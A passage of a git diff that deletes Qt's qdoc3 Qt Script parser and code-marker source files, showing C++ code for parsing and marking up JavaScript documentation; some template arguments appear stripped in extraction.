-#endif - } else { - FunctionNode *func = new FunctionNode( classe, member ); - func->setLocation( tokenizer->location() ); - func->setAccess( FunctionNode::Public ); - func->setMetaness( FunctionNode::Slot ); - if ( member == "toLocaleString" || - member == "toString" ) { - func->setReturnType( "QString" ); - } else if ( member == "valueOf" ) { - func->setReturnType( "Object" ); - } else { - func->setReturnType( "Object" ); - func->addParameter( Parameter("...") ); - } - func->setStatic( false ); // ### - } - } - } - } else { - readToken(); - } - } - in.close(); -} - -void QsaKernelParser::doneParsingSourceFiles( Tree * /* tree */ ) -{ -} - -void QsaKernelParser::readToken() -{ - tok = tokenizer->getToken(); -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/qsakernelparser.h b/tools/qdoc3/qsakernelparser.h deleted file mode 100644 index 9ac84fb..0000000 --- a/tools/qdoc3/qsakernelparser.h +++ /dev/null @@ -1,77 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - qsakernelparser.h -*/ - -#ifndef QSAKERNELPARSER_H -#define QSAKERNELPARSER_H - -#include "codeparser.h" - -QT_BEGIN_NAMESPACE - -class Tokenizer; - -class QsaKernelParser : public CodeParser -{ -public: - QsaKernelParser( Tree *cppTree ); - ~QsaKernelParser(); - - virtual QString language(); - virtual QString sourceFileNameFilter(); - virtual void parseSourceFile( const Location& location, - const QString& filePath, Tree *tree ); - virtual void doneParsingSourceFiles( Tree *tree ); - -private: - void readToken(); - - Tree *cppTre; - Tokenizer *tokenizer; - int tok; -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/qscodemarker.cpp b/tools/qdoc3/qscodemarker.cpp deleted file mode 100644 index 2ee5d99..0000000 --- a/tools/qdoc3/qscodemarker.cpp +++ /dev/null @@ -1,378 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - qscodemarker.cpp -*/ - -#include "node.h" -#include "qscodemarker.h" - -QT_BEGIN_NAMESPACE - -QsCodeMarker::QsCodeMarker() -{ -} - -QsCodeMarker::~QsCodeMarker() -{ -} - -bool QsCodeMarker::recognizeCode( const QString& /* code */ ) -{ - return true; -} - -bool QsCodeMarker::recognizeExtension( const QString& ext ) -{ - return ext == "js" || ext == "qs"; -} - -bool QsCodeMarker::recognizeLanguage( const QString& lang ) -{ - return lang == "JavaScript" || lang == "Qt Script"; -} - -QString QsCodeMarker::plainName( const Node *node ) -{ - QString name = node->name(); - if ( node->type() == Node::Function ) - name += "()"; - return name; -} - -QString QsCodeMarker::plainFullName( const Node *node, const Node * /* relative */ ) -{ - QString fullName; - for ( ;; ) { - fullName.prepend( plainName(node) ); - if ( node->parent()->name().isEmpty() ) - break; - node = node->parent(); - fullName.prepend("."); - } - return fullName; -} - -QString QsCodeMarker::markedUpCode( const QString& code, - const Node * /* relative */, - const QString& /* dirPath */ ) -{ - return protect( code ); -} - -QString QsCodeMarker::markedUpSynopsis( const Node *node, - const Node * /* relative */, - SynopsisStyle style ) -{ - QString synopsis; - QStringList extras; - QString name; - - name = taggedNode( node ); - if ( style != Detailed ) - name = linkTag( node, name ); - name = "<@name>" + name + ""; - - if ( style == Detailed && !node->parent()->name().isEmpty() && - node->type() != Node::Enum ) - name.prepend( taggedNode(node->parent()) + "." ); - - switch ( node->type() ) { - case Node::Class: - synopsis = "class " + name; - break; - case Node::Function: - { - const FunctionNode *func = (const FunctionNode *) node; - - synopsis = name; - - if ( style == SeparateList ) { - synopsis += "()"; - } else { - synopsis += " ("; - if ( !func->parameters().isEmpty() ) { - synopsis += " "; - int numOptional = 0; - QList::ConstIterator p = func->parameters().begin(); - while ( p != func->parameters().end() ) { - if ( !(*p).defaultValue().isEmpty() ) { - if ( p == func->parameters().begin() ) { - synopsis += "[ "; - } else { - synopsis += " [ , "; - } - numOptional++; - } else { - if ( p != func->parameters().begin() ) - synopsis += ", "; - } - if ( !(*p).name().isEmpty() ) - synopsis += "<@param>" + protect( (*p).name() ) + - " : "; - synopsis += protect( (*p).leftType() ); - ++p; - } - for ( int i = 0; i < numOptional; i++ ) - synopsis += " ]"; - synopsis += " "; - } - synopsis += ")"; - } - - if ( style != SeparateList && !func->returnType().isEmpty() ) - synopsis += " : " + protect( func->returnType() ); - - if ( style == Detailed && func->metaness() == FunctionNode::Signal ) - extras << "[signal]"; - } - break; - case Node::Property: - { - const PropertyNode *property = (const PropertyNode *) node; - - synopsis = name; - if ( style != SeparateList ) - synopsis += " : " + property->dataType(); - if ( style == Detailed && property->setters().isEmpty() ) - extras << "[read only]"; - } - break; - case Node::Enum: - { - /* - The letters A to F and X (upper- and lower-case) can - appear in a hexadecimal constant (e.g. 0x3F). - */ - QRegExp letterRegExp( "[G-WYZg-wyz_]" ); - const EnumNode *enume = (const EnumNode *) node; - - synopsis = name; - if ( style == Summary && !enume->items().isEmpty() ) { - synopsis += " : "; - QString comma; - QList::ConstIterator it = enume->items().begin(); - while ( it != enume->items().end() ) { - if ( enume->itemAccess((*it).name()) == Node::Public ) { - synopsis += comma; - synopsis += (*it).name(); - if ( (*it).value().indexOf(letterRegExp) != -1 ) - synopsis += " = " + (*it).value(); - comma = ", "; - } - ++it; - } - } - } - break; - case Node::Namespace: - case Node::Typedef: - default: - synopsis = name; - } - - if ( style == Summary ) { - if ( node->status() == Node::Preliminary ) { - extras << "(preliminary)"; - } else if ( node->status() == Node::Deprecated ) { - extras << "(deprecated)"; - } else if ( node->status() == Node::Obsolete ) { - extras << "(obsolete)"; - } - } - - QString extra; - if ( !extras.isEmpty() ) - extra = "<@extra>" + extras.join(" ") + ""; - return synopsis + extra; -} - -QString QsCodeMarker::markedUpName( const Node *node ) -{ - QString name = linkTag( node, taggedNode(node) ); - if ( node->type() == Node::Function ) - name += "()"; - return name; -} - -QString QsCodeMarker::markedUpFullName( const Node *node, - const Node * /* relative */ ) -{ - QString fullName; - for ( ;; ) { - fullName.prepend( markedUpName(node) ); - if ( node->parent()->name().isEmpty() ) - break; - node = node->parent(); - fullName.prepend( "<@op>." ); - } - return fullName; -} - -QString QsCodeMarker::markedUpEnumValue(const QString & /* enumValue */, - const Node * /* relative */) -{ - return QString(); -} - -QString QsCodeMarker::markedUpIncludes( const QStringList& /* includes */ ) -{ - return QString(); -} - -QString QsCodeMarker::functionBeginRegExp( const QString& funcName ) -{ - return "^function[ \t].*\\b" + QRegExp::escape( funcName ); -} - -QString QsCodeMarker::functionEndRegExp( const QString& /* funcName */ ) -{ - return "^}"; -} - -QList
    QsCodeMarker::sections( const InnerNode *inner, SynopsisStyle style, Status status ) -{ - QList
    sections; - - if (inner->type() != Node::Class) - return sections; - - const ClassNode *classe = static_cast(inner); - - if ( style == Summary ) { - FastSection enums(classe, "Enums", "", "enum", "enums"); - FastSection functions(classe, "Functions", "", "function", "functions"); - FastSection readOnlyProperties(classe, "", "Read-Only Properties", "property", "properties"); - FastSection signalz(classe, "Signals", "", "signal", "signals"); - FastSection writableProperties(classe, "", "Writable Properties", "property", "properties"); - - QStack stack; - stack.push( classe ); - - while ( !stack.isEmpty() ) { - const ClassNode *ancestorClass = stack.pop(); - - NodeList::ConstIterator c = ancestorClass->childNodes().begin(); - while ( c != ancestorClass->childNodes().end() ) { - if ( (*c)->access() == Node::Public ) { - if ( (*c)->type() == Node::Enum ) { - insert( enums, *c, style, status ); - } else if ( (*c)->type() == Node::Function ) { - const FunctionNode *func = (const FunctionNode *) *c; - if ( func->metaness() == FunctionNode::Signal ) { - insert( signalz, *c, style, status ); - } else { - insert( functions, *c, style, status ); - } - } else if ( (*c)->type() == Node::Property ) { - const PropertyNode *property = - (const PropertyNode *) *c; - if ( property->setters().isEmpty() ) { - insert( readOnlyProperties, *c, style, status ); - } else { - insert( writableProperties, *c, style, status ); - } - } - } - ++c; - } - - QList::ConstIterator r = ancestorClass->baseClasses().begin(); - while ( r != ancestorClass->baseClasses().end() ) { - stack.prepend( (*r).node ); - ++r; - } - } - append( sections, enums ); - append( sections, writableProperties ); - append( sections, readOnlyProperties ); - append( sections, functions ); - append( sections, signalz ); - } else if ( style == Detailed ) { - FastSection enums( classe, "Enum Documentation", "", "member", "members"); - FastSection functionsAndSignals( classe, "Function and Signal Documentation", "", "member", "members"); - FastSection properties( classe, "Property Documentation", "", "member", "members"); - - NodeList::ConstIterator c = classe->childNodes().begin(); - while ( c != classe->childNodes().end() ) { - if ( (*c)->access() == Node::Public ) { - if ( (*c)->type() == Node::Enum ) { - insert( enums, *c, style, status ); - } else if ( (*c)->type() == Node::Function ) { - insert( functionsAndSignals, *c, style, status ); - } else if ( (*c)->type() == Node::Property ) { - insert( properties, *c, style, status ); - } - } - ++c; - } - append( sections, enums ); - append( sections, properties ); - append( sections, functionsAndSignals ); - } else { // ( style == SeparateList ) - FastSection all(classe, "", "", "member", "members"); - - QStack stack; - stack.push( classe ); - - while ( !stack.isEmpty() ) { - const ClassNode *ancestorClass = stack.pop(); - - NodeList::ConstIterator c = ancestorClass->childNodes().begin(); - while ( c != ancestorClass->childNodes().end() ) { - if ( (*c)->access() == Node::Public ) - insert( all, *c, style, status ); - ++c; - } - - QList::ConstIterator r = ancestorClass->baseClasses().begin(); - while ( r != ancestorClass->baseClasses().end() ) { - stack.prepend( (*r).node ); - ++r; - } - } - append( sections, all ); - } - return sections; -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/qscodemarker.h b/tools/qdoc3/qscodemarker.h deleted file mode 100644 index c6a177f..0000000 --- a/tools/qdoc3/qscodemarker.h +++ /dev/null @@ -1,79 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - qscodemarker.h -*/ - -#ifndef QSCODEMARKER_H -#define QSCODEMARKER_H - -#include "codemarker.h" - -QT_BEGIN_NAMESPACE - -class QsCodeMarker : public CodeMarker -{ -public: - QsCodeMarker(); - ~QsCodeMarker(); - - bool recognizeCode( const QString& code ); - bool recognizeExtension( const QString& ext ); - bool recognizeLanguage( const QString& lang ); - QString plainName(const Node *node); - QString plainFullName(const Node *node, const Node *relative); - QString markedUpCode( const QString& code, const Node *relative, - const QString& dirPath ); - QString markedUpSynopsis( const Node *node, const Node *relative, - SynopsisStyle style ); - QString markedUpName( const Node *node ); - QString markedUpFullName( const Node *node, const Node *relative ); - QString markedUpEnumValue(const QString &enumValue, const Node *relative); - QString markedUpIncludes( const QStringList& includes ); - QList
    sections(const InnerNode *innerNode, SynopsisStyle style, Status status); - QString functionBeginRegExp( const QString& funcName ); - QString functionEndRegExp( const QString& funcName ); -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/qscodeparser.cpp b/tools/qdoc3/qscodeparser.cpp deleted file mode 100644 index 3b8bc1a..0000000 --- a/tools/qdoc3/qscodeparser.cpp +++ /dev/null @@ -1,944 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - qscodeparser.cpp -*/ - -#include -#include - -#include "config.h" -#include "qscodeparser.h" -#include "text.h" -#include "tokenizer.h" -#include "tree.h" - -QT_BEGIN_NAMESPACE - -#define CONFIG_QUICK "quick" -#define CONFIG_REPLACES "replaces" - -#define COMMAND_BRIEF Doc::alias( "brief") -#define COMMAND_CODE Doc::alias( "code") -#define COMMAND_ENDCODE Doc::alias( "endcode") -#define COMMAND_ENDQUICKCODE Doc::alias( "endquickcode") -#define COMMAND_FILE Doc::alias( "file") -#define COMMAND_GROUP Doc::alias( "group") -#define COMMAND_MODULE Doc::alias( "module") -#define COMMAND_PAGE Doc::alias( "page") -#define COMMAND_QUICKCLASS Doc::alias( "quickclass") -#define COMMAND_QUICKCODE Doc::alias( "quickcode") -#define COMMAND_QUICKENUM Doc::alias( "quickenum") -#define COMMAND_QUICKFN Doc::alias( "quickfn") -#define COMMAND_QUICKIFY Doc::alias( "quickify") -#define COMMAND_QUICKPROPERTY Doc::alias( "quickproperty") -#define COMMAND_PROTECTED Doc::alias( "protected") -#define COMMAND_REPLACE Doc::alias( "replace") - -static QString balancedParens = "(?:[^()]+|\\([^()]*\\))*"; - -QsCodeParser::QsCodeParser(Tree *cppTree) - : cppTre(cppTree), qsTre(0), replaceRegExp("/(.+)/([^/]*)/") -{ -} - -QsCodeParser::~QsCodeParser() -{ -} - -void QsCodeParser::initializeParser(const Config& config) -{ - CppCodeParser::initializeParser(config); - - nodeTypeMap.insert(COMMAND_QUICKCLASS, Node::Class); - nodeTypeMap.insert(COMMAND_QUICKENUM, Node::Enum); - nodeTypeMap.insert(COMMAND_QUICKPROPERTY, Node::Property); - nodeTypeMap.insert(COMMAND_QUICKFN, Node::Function); - - QString quickDotReplaces = CONFIG_QUICK + Config::dot + CONFIG_REPLACES; - QStringList replaces = config.getStringList(quickDotReplaces); - QStringList::ConstIterator r = replaces.begin(); - while (r != replaces.end()) { - if (replaceRegExp.exactMatch(*r)) { - QRegExp before(replaceRegExp.cap(1)); - before.setMinimal(true); - QString after = replaceRegExp.cap(2); - - if (before.isValid()) { - replaceBefores << before; - replaceAfters << after; - } - else { - config.lastLocation().warning( - tr("Invalid regular expression '%1'") - .arg(before.pattern())); - } - } - else { - config.lastLocation().warning(tr("Bad syntax in '%1'") - .arg(quickDotReplaces)); - } - ++r; - } -} - -void QsCodeParser::terminateParser() -{ - nodeTypeMap.clear(); - classesWithNoQuickDoc.clear(); - replaceBefores.clear(); - replaceAfters.clear(); - CppCodeParser::terminateParser(); -} - -QString QsCodeParser::language() -{ - return "Qt Script"; -} - -QString QsCodeParser::headerFileNameFilter() -{ - return "*"; -} - -QString QsCodeParser::sourceFileNameFilter() -{ - return "*.qs *.qsd"; -} - -void QsCodeParser::parseHeaderFile(const Location& location, - const QString& filePath, - Tree *tree) -{ - qsTre = tree; - - QFile in(filePath); - if (!in.open(QIODevice::ReadOnly)) { - location.error(tr("Cannot open Qt Script class list '%1'") - .arg(filePath)); - return; - } - - Location fileLocation(filePath); - Tokenizer fileTokenizer(fileLocation, in); - int tok = fileTokenizer.getToken(); - while (tok != Tok_Eoi) { - if (tok == Tok_Ident) { - ClassNode *quickClass = new ClassNode(qsTre->root(), - fileTokenizer.lexeme()); - quickClass->setLocation(fileTokenizer.location()); - } - else { - fileTokenizer.location().error(tr("Unexpected token '%1' in Qt" - " Script class list") - .arg(fileTokenizer.lexeme())); - break; - } - tok = fileTokenizer.getToken(); - } - in.close(); -} - -void QsCodeParser::parseSourceFile(const Location& location, - const QString& filePath, - Tree *tree) -{ - qsTre = tree; - CppCodeParser::parseSourceFile(location, filePath, tree); -} - -void QsCodeParser::doneParsingHeaderFiles(Tree *tree) -{ - NodeList::ConstIterator c = tree->root()->childNodes().begin(); - while (c != tree->root()->childNodes().end()) { - if ((*c)->type() == Node::Class) - quickifyClass((ClassNode *) *c); - ++c; - } - cppTre->root()->deleteChildren(); // save memory - tree->resolveInheritance(); - tree->resolveProperties(); -} - -void QsCodeParser::doneParsingSourceFiles(Tree *tree) -{ - tree->root()->normalizeOverloads(); - - NodeList::ConstIterator c = tree->root()->childNodes().begin(); - while (c != tree->root()->childNodes().end()) { - if ((*c)->type() == Node::Class) { - QMap::ConstIterator cwnqd = - classesWithNoQuickDoc.find((*c)->name()); - if (cwnqd != classesWithNoQuickDoc.end()) { - (*cwnqd)->location().warning(tr("No '\\%1' documentation for" - " class '%2'") - .arg(COMMAND_QUICKCLASS) - .arg(cwnqd.key())); - (*cwnqd)->setDoc(Doc(), true); - } - } - ++c; - } - - // ### check which enum types are used -} - -FunctionNode *QsCodeParser::findFunctionNode(const QString& synopsis, - Tree *tree) -{ - QStringList parentPath; - FunctionNode *clone; - FunctionNode *func = 0; - - if (makeFunctionNode(synopsis, &parentPath, &clone)) { - func = tree->findFunctionNode(parentPath, clone); - delete clone; - } - return func; -} - -QSet QsCodeParser::topicCommands() -{ - return QSet() << COMMAND_FILE << COMMAND_GROUP << COMMAND_MODULE - << COMMAND_PAGE << COMMAND_QUICKCLASS - << COMMAND_QUICKENUM << COMMAND_QUICKFN - << COMMAND_QUICKPROPERTY; -} - -Node *QsCodeParser::processTopicCommand(const Doc& doc, - const QString& command, - const QString& arg) -{ - if (command == COMMAND_QUICKFN) { - QStringList parentPath; - FunctionNode *quickFunc = 0; - FunctionNode *clone; - - if (makeFunctionNode(arg, &parentPath, &clone)) { - FunctionNode *kernelFunc = findKernelFunction(parentPath, - clone->name()); - if (kernelFunc != 0) - kernelFunc->setAccess(Node::Private); - - quickFunc = qsTre->findFunctionNode(parentPath, clone); - if (quickFunc == 0 && kernelFunc != 0) { - quickFunc = new FunctionNode(kernelFunc->parent(), - kernelFunc->name()); - quickFunc->setLocation(kernelFunc->location()); - quickFunc->setReturnType(clone->returnType()); - quickFunc->setParameters(clone->parameters()); - } - - if (quickFunc == 0) { - doc.location().warning(tr("Cannot find '%1' specified with '\\%2'") - .arg(arg).arg(command)); - } - else { - quickFunc->setAccess(Node::Public); - QStringList qtParams = quickFunc->parameterNames(); - quickFunc->borrowParameterNames(clone); - QStringList quickParams = quickFunc->parameterNames(); - setQuickDoc(quickFunc, doc, qtParams, quickParams); - } - delete clone; - } - else { - doc.location().warning(tr("Cannot find '%1' specified with '\\%2'") - .arg(arg).arg(command)); - } - return 0; - } - else if (nodeTypeMap.contains(command)) { - QStringList subArgs = arg.split(" "); - QString dataType; - - if (subArgs.count() == 3 && subArgs[1] == ":") { - dataType = subArgs[2]; - } - else if (subArgs.count() != 1) { - doc.location().warning(tr("Invalid syntax in '\\%1'") - .arg(command)); - } - - QStringList path = subArgs[0].split("."); - Node *quickNode = qsTre->findNode(path, nodeTypeMap[command]); - if (quickNode == 0) { - doc.location().warning(tr("Cannot find '%1' specified with '\\%2'") - .arg(arg).arg(command)); - } - else { - setQuickDoc(quickNode, doc); - if (quickNode->type() == Node::Class) { - classesWithNoQuickDoc.remove(quickNode->name()); - if (doc.briefText().isEmpty()) - doc.location().warning(tr("Missing '\\%1' for class '%2'") - .arg(COMMAND_BRIEF) - .arg(quickNode->name())); - } - else if (quickNode->type() == Node::Property) { - PropertyNode *quickProperty = (PropertyNode *) quickNode; - if (quickProperty->dataType() == "Object") { - if (dataType.isEmpty()) { - doc.location().warning(tr("Missing data type in '\\%1'" - " (assuming 'Object')") - .arg(command)); - } - else { - quickProperty->setDataType(dataType); - } - } - else if (dataType != quickProperty->dataType()) { - doc.location().warning(tr("Ignored contradictory data type" - " in '\\%1'") - .arg(command)); - } - } - } - return 0; - } - else { - return CppCodeParser::processTopicCommand(doc, command, arg); - } -} - -QSet QsCodeParser::otherMetaCommands() -{ - return commonMetaCommands() << COMMAND_ENDQUICKCODE << COMMAND_QUICKCODE - << COMMAND_QUICKIFY << COMMAND_REPLACE; -} - -void QsCodeParser::processOtherMetaCommand(const Doc& doc, - const QString& command, - const QString& arg, - Node *node) -{ - if (command == COMMAND_PROTECTED) { - doc.location().warning(tr("Cannot use '\\%1' in %2") - .arg(COMMAND_PROTECTED).arg(language())); - } - else { - CppCodeParser::processOtherMetaCommand(doc,command,arg,node); - } -} - -ClassNode *QsCodeParser::tryClass(const QString& className) -{ - return (ClassNode*) cppTre->findNode(QStringList(className),Node::Class); -} - -FunctionNode *QsCodeParser::findKernelFunction(const QStringList& parentPath, - const QString& name) -{ - FunctionNode clone(0, name); - clone.setReturnType("Object"); - clone.addParameter(Parameter("...")); - return qsTre->findFunctionNode(parentPath, &clone); -} - -void QsCodeParser::extractRegExp(const QRegExp& regExp, - QString& source, - const Doc& doc) -{ - QRegExp blankLineRegExp( - "[ \t]*(?:\n(?:[ \t]*\n)+[ \t]*|[ \n\t]*\\\\code|" - "\\\\endcode[ \n\t]*)"); - QStringList paras = source.trimmed().split(blankLineRegExp); - paras = paras.filter(regExp); - if (paras.count() == 0) { - doc.location().warning(tr("Cannot find regular expression '%1'") - .arg(regExp.pattern())); - } - else if (paras.count() > 1) { - doc.location().warning(tr("Regular rexpression '%1' matches multiple" - "times").arg(regExp.pattern())); - } - else { - source = paras.first() + "\n\n"; - } -} - -void QsCodeParser::extractTarget(const QString& target, - QString& source, - const Doc& doc) -{ - QRegExp targetRegExp( - "(\\\\target\\s+(\\S+)[^\n]*\n" - "(?:(?!\\s*\\\\code)[^\n]+\n|\\s*\\\\code.*\\\\endcode\\s*\n)*)" - "(?:\\s*\n|[^\n]*$)"); - targetRegExp.setMinimal(true); - - int pos = 0; - while ((pos = source.indexOf(targetRegExp, pos)) != -1) { - if (targetRegExp.cap(2) == target) { - source = targetRegExp.cap(1) + "\n\n"; - return; - } - pos += targetRegExp.matchedLength(); - } - doc.location().warning(tr("Cannot find target '%1'").arg(target)); -} - -void QsCodeParser::renameParameters(QString& source, - const Doc& /* doc */, - const QStringList& qtParams, - const QStringList& quickParams) -{ - QRegExp paramRegExp("(\\\\a\\s*\\{?\\s*)([A-Za-z0-9_]+)"); - - int pos = 0; - while ((pos = paramRegExp.indexIn(source, pos)) != -1) { - pos += paramRegExp.cap(1).length(); - QString before = paramRegExp.cap(2); - int index = qtParams.indexOf(before); - if (index != -1) { - QString after = quickParams[index]; - source.replace(pos, before.size(), after); - } - } -} - -void QsCodeParser::applyReplacementList(QString& source, const Doc& doc) -{ - QStringList args = doc.metaCommandArgs(COMMAND_REPLACE); - QStringList::ConstIterator a = args.begin(); - while (a != args.end()) { - if (replaceRegExp.exactMatch(*a)) { - QRegExp before(replaceRegExp.cap(1)); - before.setMinimal(true); - QString after = replaceRegExp.cap(2); - - if (before.isValid()) { - int oldLen = source.size(); - source.replace(before, after); - - // this condition is sufficient but not necessary - if (oldLen == source.size() && !source.contains(after)) - doc.location().warning( - tr("Regular expression '%1' did not match anything") - .arg(before.pattern())); - } - else { - doc.location().warning( - tr("Invalid regular expression '%1'") - .arg(before.pattern())); - } - } - else { - doc.location().warning(tr("Bad syntax in '\\%1'") - .arg(COMMAND_REPLACE)); - } - ++a; - } - - QRegExp codeRegExp("\\\\" + COMMAND_CODE + "(.*)\\\\" + COMMAND_ENDCODE); - codeRegExp.setMinimal(true); - - QRegExp quickcodeRegExp( - "\\\\" + COMMAND_QUICKCODE + "(.*)\\\\" + COMMAND_ENDQUICKCODE); - quickcodeRegExp.setMinimal(true); - - int quickcodePos = doc.source().indexOf(quickcodeRegExp); - if (quickcodePos != -1) { - int codePos = source.indexOf(codeRegExp); - if (codePos == -1) { - doc.location().warning( - tr("Cannot find any '\\%1' snippet corresponding to '\\%2'") - .arg(COMMAND_CODE).arg(COMMAND_QUICKCODE)); - } - else { - source.replace(codeRegExp.pos(1), codeRegExp.cap(1).length(), - quickcodeRegExp.cap(1)); - codePos = codeRegExp.pos(1) + quickcodeRegExp.cap(1).length(); - - if (doc.source().indexOf(quickcodeRegExp, quickcodePos + 1) != -1) { - doc.location().warning( - tr("Cannot use '\\%1' twice in a row") - .arg(COMMAND_QUICKCODE)); - } - else if (source.indexOf(codeRegExp, codePos + 1) != -1) { - doc.location().warning(tr("Ambiguous '\\%1'") - .arg(COMMAND_QUICKCODE)); - } - } - } -} - -void QsCodeParser::quickifyClass(ClassNode *quickClass) -{ - QString qtClassName = quickClass->name(); - QString bare = quickClass->name(); - if (bare != "Qt" && bare != "Object") { - if (bare.startsWith("Q")) { - bare = bare.mid(1); - } - else { - qtClassName.prepend("Q"); - classesWithNoQ.insert(bare); - } - } - - ClassNode *qtClass = 0; - ClassNode *wrapperClass = 0; - - if ((wrapperClass = tryClass("Quick" + bare)) != 0 || - (wrapperClass = tryClass("QS" + bare + "Class")) != 0) { - qtClass = tryClass(qtClassName); - if (qtClass == 0) { - qtClass = wrapperClass; - wrapperClass = 0; - } - } - else if ((wrapperClass = tryClass("Quick" + bare + "Ptr")) != 0) { - QRegExp ptrToQtType("(Q[A-Za-z0-9_]+)\\s*\\*"); - FunctionNode *ctor = - wrapperClass->findFunctionNode(wrapperClass->name()); - if (ctor != 0 && !ctor->parameters().isEmpty() && - ptrToQtType.exactMatch(ctor->parameters().first().leftType())) - qtClassName = ptrToQtType.cap(1); - qtClass = tryClass(qtClassName); - } - else { - wrapperClass = tryClass("Q" + bare + "Ptr"); - if (wrapperClass == 0) - wrapperClass = tryClass("Quick" + bare + "Interface"); - qtClass = tryClass(qtClassName); - } - - if (qtClass == 0) { - if (wrapperClass == 0) { - quickClass->location().warning(tr("Cannot find Qt class '%1'") - .arg(qtClassName)); - } - else { - quickClass->location().warning(tr("Cannot find Qt class '%1'" - " wrapped by '%2'") - .arg(qtClassName) - .arg(wrapperClass->name())); - } - return; - } - - QList::ConstIterator r = qtClass->baseClasses().begin(); - while (r != qtClass->baseClasses().end()) { - ClassNode *quickBaseClass = cpp2qs.findClassNode(qsTre, - (*r).node->name()); - if (quickBaseClass) - quickClass->addBaseClass((*r).access, quickBaseClass); - ++r; - } - if (quickClass->baseClasses().isEmpty() && quickClass->name() != "Object") - quickClass->addBaseClass(Node::Public, - cpp2qs.findClassNode(qsTre,"Object")); - - QSet funcBlackList; - QSet propertyBlackList; - - NodeList children; - if (wrapperClass != 0) { - children = wrapperClass->childNodes(); - - funcBlackList.insert(wrapperClass->name()); - funcBlackList.insert("~" + wrapperClass->name()); - } - children += qtClass->childNodes(); - - for (int pass = 0; pass < 2; pass++) { - NodeList::ConstIterator c = children.begin(); - while (c != children.end()) { - if ((*c)->access() != Node::Private && - (*c)->status() == Node::Commendable) { - if (pass == 0) { - if ((*c)->type() == Node::Enum) { - EnumNode *enume = (EnumNode *) *c; - quickifyEnum(quickClass, enume); - } - else if ((*c)->type() == Node::Property) { - if (!propertyBlackList.contains((*c)->name())) { - PropertyNode *property = (PropertyNode *) *c; - quickifyProperty(quickClass, qtClass, property); - if (!property->getters().isEmpty()) - funcBlackList.insert(property->getters().first()->name()); - if (!property->setters().isEmpty()) - funcBlackList.insert(property->setters().first()->name()); - if 